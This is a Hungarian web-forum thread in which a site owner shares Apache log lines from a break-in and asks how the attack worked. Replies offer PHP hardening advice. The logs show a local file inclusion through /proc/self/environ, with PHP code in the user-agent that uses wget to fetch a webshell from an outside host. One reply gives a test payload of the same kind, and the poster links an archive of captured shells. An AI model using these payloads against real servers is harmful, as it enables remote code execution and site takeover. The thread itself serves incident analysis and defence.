Sziasztok, nemrégiben feltörték az oldalamat, és elkezdtem olvasgatni a log fájlokat.
Találtam pár számomra érdekes és lehet hogy másoknak is tanulságos bejegyzést:
87.109.129.170 - - [10/Jan/2008:14:43:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 3373 "-" "jcfs<?system(\"wget http://www.darkmindz.com/shell/x2300.txt 2> /dev/stdout\");?>jcfs"
87.109.129.170 - - [10/Jan/2008:14:44:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 3373 "-" "jcfs<?system(\"wget http://www.darkmindz.com/shell/x2300.txt 2> /dev/stdout\");?>jcfs"
87.109.129.170 - - [10/Jan/2008:14:45:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 2920 "-" "jcfs<?system(\"cd /home/nagitaco/public_html/; wget http://www.darkmindz.com/shell/x2300.txt; mv x2300.txt lndex.php 2> /dev/stdout\");?>jcfs"
Az index.php include-olt egy másik php oldalt.
Ami érdekes: a saját gépről a proc/self/environ állományt el tudta érni, és ki tudta írtani a tartalmát.
Ami még érdekesebb: pontosan hogy és miért működik a kérés hátsó, jcfs-ek közötti része ?
A wget-et értem, de mi a jcfs? hogy tudta ezt a kérést a gépnek elküldeni?
telnet?
miért fogadta el a szerver, és hajtotta végre az utasításokat?
A kérdéses lndex.php állományt megtaláltam, tehát szerintem a betörés sikeres volt, legalábbis a log fájlok szerint és a könyvtárállományok szerint is megtaláltam a gépre feltett idegen php fájlt.
Kérem ha valaki a fenti sorok második részének (jcfs) pontos működését érti, írja meg.
Amit tettem:
GET-en kapott include-ból a / : ; karaktereket kapásból törlöm, limitált a paraméter hossza.
de lehet hogy ez így még mindig nem elég. Erre a fenti jcfs-t tartalmazó lekérésre nem számítottam, a betörés előtt csak a :// karaktersorozatot töröltem automatikusan a GET-ből, gondolván hogy így kívülről nem juthat be fájl. Hát bejutott.
A feltölteni próbált betörőkészletekből 6 különbözőt sikerült lementenem.
Ha valakit érdekel hogy a próbálkozók mit akarnak a gépre tenni (vagy tettek), itt egy szép gyűjtemény a logfájlomból és a publikus könyvtárakból kiszedett állományokról: http://pythonlib.pergamen.hu/betoroholmik.tar.gz php kódok vannak benne.
pár napig kinthagyom, aztán törlöm. Biztos ami biztos.
Köszönöm a segítséget.
Balázs
- 5116 megtekintés
Hozzászólások
jó jcfs-részlet, < és ? jeleket az előbb a szűrő leszedte:
87.109.129.170 - - [10/Jan/2008:14:45:00 -0700] "GET /examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ HTTP/1.1" 200 2920 "-" "jcfs<?system(\"cd /home/nagitaco/public_html/; wget http://www.darkmindz.com/shell/x2300.txt; mv x2300.txt lndex.php 2> /dev/stdout\");?>jcfs"
Balázs
- A hozzászóláshoz be kell jelentkezni
Elsőre jobb lenne ha includekor nem .php lenne, hanem mondjuk csak filenev, a php-t meg te illeszted hozzá, így kevésbé nyilvánvaló, hogy includeolsz. Másrészt érdemesebb lenne kevésbé dinamikussá tenni, értsd pl egy egyszerű switch/case segítségével, a paraméter alapján döntöd el, hogy melyik fájlt include-olod be, default-nak pedig hibát dobsz. Ezzel nagyjából ki is védted, hogy ne tudjanak tetszőleges fájlt behúzni.
Továbbá, a php errorokat (copy_reg) le kellene kezelni, abból is hamar lehet információt kinyerni.
De én ezekhez nem értek :)
--
HUP Firefox extension
- A hozzászóláshoz be kell jelentkezni
> ha valaki a fenti sorok második részének (jcfs) pontos működését érti, írja meg.
Olvasd végig az /examples/index.php -t a megfelelő input adatokat alapul véve, aztán kiderül.
- A hozzászóláshoz be kell jelentkezni
En a helyedben nagyon atneznem a gepet, ui a phpben C progik vannak, konkretan indit egy bash-t aminek az IO jat ra bind olja network portra.
Tom kicsit nyilvanvalo a kerdes de van wgeted?
Le tudod ellenorizni hogy egyaltalan tudott e foltolteni ha az eredeti examples/index.php nek ezt kuldod:
examples/index.php?p=../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../proc/self/environ
es beallitod mondjuk a brower ID-det erre: <? system('echo > /tmp/ezbizabaj'); ?> (szerkesztve, francos drupal :)
Ha az ezbizabaj ettol ott van a /tmp akkor inkabb reinstall.
Az alapotlet: http://h4ck-y0u.org/viewtopic.php?t=36147
==
`Have some wine,' the March Hare said in an encouraging tone.
Alice looked all round the table, but there was nothing on it but tea.
- A hozzászóláshoz be kell jelentkezni
Szia, van wget.
A gép nem saját, szolgáltató,
nem tudom újrainstallálni. :-(
Kipróbálom amit írtál, hátha nincs baj.
Szia, Balázs
- A hozzászóláshoz be kell jelentkezni
es elvetted mar a webszervertol a wget/curl/akarmi futtatasi jogat ?
- A hozzászóláshoz be kell jelentkezni
Sziasztok, kísérleteztem, szomorú tapasztalatokkal.
A probléma az, hogy szerintem az apache mindegy milyen get paramétert kap, végrehajtja a böngésző azonosítójába (user agent) illesztett shell kódot.
A firefoxhoz feltettem a User Agent Switcher plugint, amivel a user Agent-be shell utasításokat írtam.
Az apache lefuttatta a User Agent-ként átadott shell kódot, tökmindegy hogy szűrtem a GET paramétert.
de ez az include-hoz kötődik.
B.
- A hozzászóláshoz be kell jelentkezni
Milyen Apache verzióra igaz ez az állítás?
- A hozzászóláshoz be kell jelentkezni
ezt kifejthetnéd bővebben, mert alapvetően szerintem badarság.
- A hozzászóláshoz be kell jelentkezni
nyilvan, ez ennek az exploitnak a lenyege, ezt irta a feljebb belinkelt forum topik is.
- Use the Source Luke ! -
- A hozzászóláshoz be kell jelentkezni
Szia!
En mostanaban tanultam a PHP-t, ezert lehet rossz amit mondok, de...
en igy csinalom:
$p = isset($_GET['p']) ? $_GET['p'] : main;
switch($p){
case "main":
$p = "pages/main.php";
break;
case "xxxx":
$p = "xxx/zzz.html"
break;
....
default:
$p = "pages/elkurtuk.html";
break;
}
Az elkurtuk.html egy error uzenetet tartalmaz, hogy ervenytelen oldal. En nem foglalkoztam olyasmivel, hogy bizonyos karaktereket nem engedek, mert a fenti kod elvileg ved ez ellen is.
-
budacsik
- A hozzászóláshoz be kell jelentkezni
$p = $_GET["p"];
$allowed = array("fooldal", "aloldal1", "aloldal2");
if(!in_array($p, $allowed)) die("anyaddal szorakozz");
include("include/$p.php");
ez (vagy vmi ilyesmi) lényegesen gyorsabb, egyszerűbb, és rugalmasabb, mint a karakterkiszedés, meg hosszúságszabályzás SZVSZ
Apple MacBook
CD 1.83 | 1.25GB 667MHz | 60GB SATA | 2.36 kg | 5400mAh @ 12.5V
- A hozzászóláshoz be kell jelentkezni
na megnéztem már nálam hogy megy a dolog:
<?php
$_GET['id'] = str_replace('../', '',$_GET['id'] );
if (isset($_GET['id']) and $_GET['id'] != '')
{
if (is_file("./" . $_GET["id"] . ".php"))
{
include("./" . $_GET["id"] . ".php");
}
else
{
include("./error.php");
}
}
else
{
include ("./kezdolap.php");
}
?>
Mint láthato, kiszedi a piszok ../-t az URL-ből:)
--
Desktop: 2.6.21-gentoo-r4 AMD Athlon(tm) 64 X2 Dual Core Processor 3800+
Laptop: 2.6.22-gentoo-r5 Mobile Intel(R) Pentium(R) 4 - M CPU 2.00GHz
- A hozzászóláshoz be kell jelentkezni
> Mint láthato, kiszedi a piszok ../-t az URL-ből:)
Valóban?
<?php
$str = '....//....//....//....//....//....//....//....//haliho';
$s = str_replace( '../', '', $str );
print_r( $s );
?>
:-)))
- A hozzászóláshoz be kell jelentkezni
realpath
basename
Tyrael
- A hozzászóláshoz be kell jelentkezni
Nem jo a megkozelites: nem kiszedni kell a gyanus dolgokat, hanem hibauzenet utan kilepni. Ha az input nem koser, akkor nem legitim keressel van dolgod, ugyhogy a tamadot nem is erdekli a valasz, amit te jo szandekkal adnal. Tehat rossz input eseten <? die("ne itt hekkelj stupid..."); ?>
ASK Me No Questions, I'll Tell You No Lies
- A hozzászóláshoz be kell jelentkezni
Az alábbi gyári php feature-oket is kéne tanulmányozni:
open_basedir
disable_functions -> különösen a shell_exec, exec, system és passthru-ra
allow_url_fopen
allow_url_include
Az apache-hoz passzoló mod_security-t meg szintén érdemes megnézni.
Webszervert szerintem csak chrootban vagy jailben szabad csak futtatni, amiből minden fölös hiányzik (pl. wget). Tűzfalazással még tovább lehet javítani a dolgot. :)
A fentihez hasonló dolgot minden nap tizesével látni, mert jó eséllyel robotok csinálják
A bejövő mindenféle változók ellenőrzését a fentiek mellett sem szabad elhagyni, sőőőőt.
- A hozzászóláshoz be kell jelentkezni
+suhosin
http://www.hardened-php.net/suhosin/a_feature_list.html
Tyrael
- A hozzászóláshoz be kell jelentkezni
Ezért is undormány a php...
- A hozzászóláshoz be kell jelentkezni
perlt nem lehet ugyanigy megtorni?
nem a nyelvet kellene szidni a koklerek miatt.
Tyrael
- A hozzászóláshoz be kell jelentkezni
Tökéletesen igazad van...
kötöjelkötöjel
//:wladek's world
- A hozzászóláshoz be kell jelentkezni
Most kezdek ismerkedni a PHP-vel. Tudtok ajanlani olyan par doksit, amiben osszefoglaloan, es magyarazatokkal vannak bemutatva a vedekezesek a hasonlo trukkok ellen? Google-zva van millio morzsa, de abbol nem konnyu kimazsolazni. Koszi.
- A hozzászóláshoz be kell jelentkezni
tervezem egy hasonlo osszefoglalo elemzes irasat, mert nagyon ugy tunik hogy alig valaki veszi a faradtsagot, hogy utananezzen ezeknek a dolgoknak.
Tyrael
- A hozzászóláshoz be kell jelentkezni
Én nagyon örülök (és támogatnám is ha tudnám) az ilyen kezdeményezéseknek. Talán egyszer ha elég időm lesz foglalkozni a PHP-val ...
Mindenesetre a doksit nagyon várom :)
-
budacsik
- A hozzászóláshoz be kell jelentkezni
Itt van ez kezdetként: Biztonságos PHP a gyakorlatban (pdf)
Tyra3l, biztosan nagy szükség van arra az összeállításra, előre is köszönjük a fáradtságodat!
- A hozzászóláshoz be kell jelentkezni
ez egy eleg jo osszefoglalo.
bar 1-2 dolog meg hianyzik belole(CSRF, CSS gyakorlati haszna(pl. suti lopas), session lopas, stb.)
Tyrael
- A hozzászóláshoz be kell jelentkezni
Koszi:-)
- A hozzászóláshoz be kell jelentkezni
Van magyar nyelvu offline irodalom is: "Hogyan torjunk fel webhelyeket" a cime, kiadot es szerzot nem tudok, Alexandraban vettem a nyugatinal.
Ezen kivul lehet probalgatni pl HackThisSite.org-on. Ha par palyat megoldasz, utana remelhetoleg nem koveted el ugyanazokat. (plusz van sajat foruma, bar angol)
Ha van olyan ismerosod, aki ert valamennyire a biztonsaghoz, es megbizol benne, akkor a rendszer megnyitasa elott erdemes megnezetni. (ha kodot is mutatsz, ugy konnyebb, ha nem mutatsz, ugy izgibb :) )
---------------------
-Tudod, szep az, amit erdek nelkul szepnek latunk.
-Peldaul matrixfuggveny.
honlap készítés
- A hozzászóláshoz be kell jelentkezni
Van magyar nyelvu offline irodalom is: "Hogyan torjunk fel webhelyeket" a cime, kiadot es szerzot nem tudok,
Kiadó: Kiskapu Kft, az írók pedig: Mike Andrews és James A. Whittaker
- A hozzászóláshoz be kell jelentkezni
Aki meg ért angolul az meg inkább ezt nézze meg, mivel a könyvben ezt írja le a szerző:
http://video.google.com/videoplay?docid=5159636580663884360
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Üllj le és kuss legyen!"..
- A hozzászóláshoz be kell jelentkezni
Tudom, hogy nem túl népszerű a dolog, de win alatt a példák meg sem nézhetőek mert a symatec sikít ( és töröl ):
http://securityresponse.symantec.com/security_response/writeup.jsp?doci…
http://securityresponse.symantec.com/security_response/detected_writeup…
Ő ezt látta: PHP.RSTBackdoor is a back door Trojan that is written in PHP. It runs only on HTTP servers with PHP interpreters installed.
--
üdv: virtualm
- A hozzászóláshoz be kell jelentkezni
a nod32 nyivákol szinte minden file-ra: PHP/C99Shell.A trojan
hát ha tényleg sikerült futtatni a betörőnek akkor most egy trójai csücsül a gépen. szép.
---------------------------------------------------------------------
„Az Univerzum már elég nagy és öreg ahhoz, hogy egy fél óráig vigyázzon magára.”
- A hozzászóláshoz be kell jelentkezni
Ne engedd, hogy a php fájlok írhassák a saját könyvtárukat, vagy bármiféle config file-t.
Korlátozd az apache jogait.
Ja és register_globals off természetesen.
- A hozzászóláshoz be kell jelentkezni